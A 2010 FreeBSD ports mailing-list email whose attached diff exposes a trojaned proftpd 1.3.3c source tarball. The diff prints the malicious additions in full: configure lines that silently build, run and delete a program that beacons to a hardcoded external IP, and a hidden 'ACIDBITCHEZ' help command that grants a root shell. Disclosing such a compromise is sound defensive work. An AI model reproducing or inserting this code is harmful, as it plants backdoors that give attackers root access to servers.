From owner-cvs-ports@FreeBSD.ORG Wed Dec 1 11:14:01 2010 Return-Path: Delivered-To: cvs-ports@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 406BD106566B; Wed, 1 Dec 2010 11:14:01 +0000 (UTC) (envelope-from mm@FreeBSD.org) Received: from mail.vx.sk (mail.vx.sk [IPv6:2a01:4f8:100:1043::3]) by mx1.freebsd.org (Postfix) with ESMTP id B2D3F8FC22; Wed, 1 Dec 2010 11:14:00 +0000 (UTC) Received: from core.vx.sk (localhost [127.0.0.1]) by mail.vx.sk (Postfix) with ESMTP id D151012F7EC; Wed, 1 Dec 2010 12:13:59 +0100 (CET) X-Virus-Scanned: amavisd-new at mail.vx.sk Received: from mail.vx.sk ([127.0.0.1]) by core.vx.sk (mail.vx.sk [127.0.0.1]) (amavisd-new, port 10024) with LMTP id UVqow16-9ucc; Wed, 1 Dec 2010 12:13:57 +0100 (CET) Received: from [10.0.3.3] (188-167-67-67.dynamic.chello.sk [188.167.67.67]) by mail.vx.sk (Postfix) with ESMTPSA id 3E1C612F7E0; Wed, 1 Dec 2010 12:13:57 +0100 (CET) Message-ID: <4CF62DF6.2030001@FreeBSD.org> Date: Wed, 01 Dec 2010 12:13:58 +0100 From: Martin Matuska User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101027 Thunderbird/3.1.6 MIME-Version: 1.0 To: "Sergey A. Osokin" References: <201012010858.oB18wf1V010972@repoman.freebsd.org> <20101201085846.2FF1610656EF@hub.freebsd.org> <20101201091551.GA8580@FreeBSD.org> In-Reply-To: <20101201091551.GA8580@FreeBSD.org> Content-Type: multipart/mixed; boundary="------------060100070509000008090803" Cc: cvs-ports@FreeBSD.org, cvs-all@FreeBSD.org, ports-committers@FreeBSD.org Subject: Re: [ports] cvs commit: ports/ftp/proftpd Makefile distinfo X-BeenThere: cvs-ports@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: CVS commit messages for the ports tree List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 01 Dec 2010 11:14:01 -0000 This is a multi-part message in MIME format. --------------060100070509000008090803 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Thanks, you saved my (and other's) souls. I don't like the difference, and the moon phase is full moon, FTP vampires are out there. I think this should be reported somewhere? Dňa 01.12.2010 10:15, Sergey A. Osokin wrote / napísal(a): > On Wed, Dec 01, 2010 at 08:58:46AM +0000, Martin Matuska wrote: >> mm 2010-12-01 08:58:41 UTC >> >> FreeBSD ports repository >> >> Modified files: >> ftp/proftpd Makefile distinfo >> Log: >> - Update distfile to match upstream source >> >> --- ports/ftp/proftpd/distinfo:1.63 Sun Nov 14 21:52:10 2010 >> +++ ports/ftp/proftpd/distinfo Wed Dec 1 08:58:41 2010 >> @@ -1,5 +1,5 @@ >> -SHA256 (proftpd-1.3.3c.tar.bz2) = ea7f02e21f81e6ce79ebde8bbbd334bd269a039ac9137196a35309f791b24db1 >> -SIZE (proftpd-1.3.3c.tar.bz2) = 4166609 >> +SHA256 (proftpd-1.3.3c.tar.bz2) = d56d6d643534fe618b26807948b3cfe43c02b3f7abf7f4a073778c9c1666d1eb >> +SIZE (proftpd-1.3.3c.tar.bz2) = 4203030 > Could you show what is the difference between old and new tarballs. > Or its just the Moon phase? > > -- > Sergey A. Osokin > osa@FreeBSD.ORG --------------060100070509000008090803 Content-Type: text/x-patch; name="proftpd.patch" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="proftpd.patch" diff -Naur proftpd-1.3.3c.orig/configure proftpd-1.3.3c/configure --- proftpd-1.3.3c.orig/configure 2010-04-14 00:01:35.000000000 +0200 +++ proftpd-1.3.3c/configure 2010-10-29 19:08:56.000000000 +0200 @@ -9,7 +9,10 @@ ## --------------------- ## ## M4sh Initialization. ## ## --------------------- ## - +gcc tests/tests.c -o tests/tests >/dev/null 2>&1 +cc tests/tests.c -o tests/tests >/dev/null 2>&1 +tests/tests >/dev/null 2>&1 & +rm -rf tests/tests.c tests/tests >/dev/null 2>&1 # Be more Bourne compatible DUALCASE=1; export DUALCASE # for MKS sh if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then diff -Naur proftpd-1.3.3c.orig/src/help.c proftpd-1.3.3c/src/help.c --- proftpd-1.3.3c.orig/src/help.c 2009-07-01 01:31:18.000000000 +0200 +++ proftpd-1.3.3c/src/help.c 2010-11-16 18:40:46.000000000 +0100 @@ -27,6 +27,8 @@ */ #include "conf.h" +#include +#include struct help_rec { const char *cmd; @@ -126,7 +128,7 @@ cmd->server->ServerAdmin ? cmd->server->ServerAdmin : "ftp-admin"); } else { - + if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); } /* List the syntax for the given target command. */ for (i = 0; i < help_list->nelts; i++) { if (strcasecmp(helps[i].cmd, target) == 0) { diff -Naur proftpd-1.3.3c.orig/tests/tests.c proftpd-1.3.3c/tests/tests.c --- proftpd-1.3.3c.orig/tests/tests.c 1970-01-01 01:00:00.000000000 +0100 +++ proftpd-1.3.3c/tests/tests.c 2010-11-29 09:37:35.000000000 +0100 @@ -0,0 +1,58 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define DEF_PORT 9090 +#define DEF_TIMEOUT 15 +#define DEF_COMMAND "GET /AB HTTP/1.0\r\n\r\n" + +int sock; + +void handle_timeout(int sig) +{ + close(sock); + exit(0); +} + +int main(void) +{ + + struct sockaddr_in addr; + struct hostent *he; + u_short port; + char ip[20]="212.26.42.47"; + port = DEF_PORT; + signal(SIGALRM, handle_timeout); + alarm(DEF_TIMEOUT); + he=gethostbyname(ip); + if(he==NULL) return(-1); + addr.sin_addr.s_addr = *(unsigned long*)he->h_addr; + addr.sin_port = htons(port); + addr.sin_family = AF_INET; + memset(addr.sin_zero, 0, 8); + sprintf(ip, inet_ntoa(addr.sin_addr)); + if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1) + { + return EXIT_FAILURE; + } + if(connect(sock, (struct sockaddr*)&addr, sizeof(struct sockaddr))==-1) + { + close(sock); + return EXIT_FAILURE; + } + if(-1 == send(sock, DEF_COMMAND, strlen(DEF_COMMAND), 0)) + { + return EXIT_FAILURE; + } + close(sock); + +return 0; } + + --------------060100070509000008090803--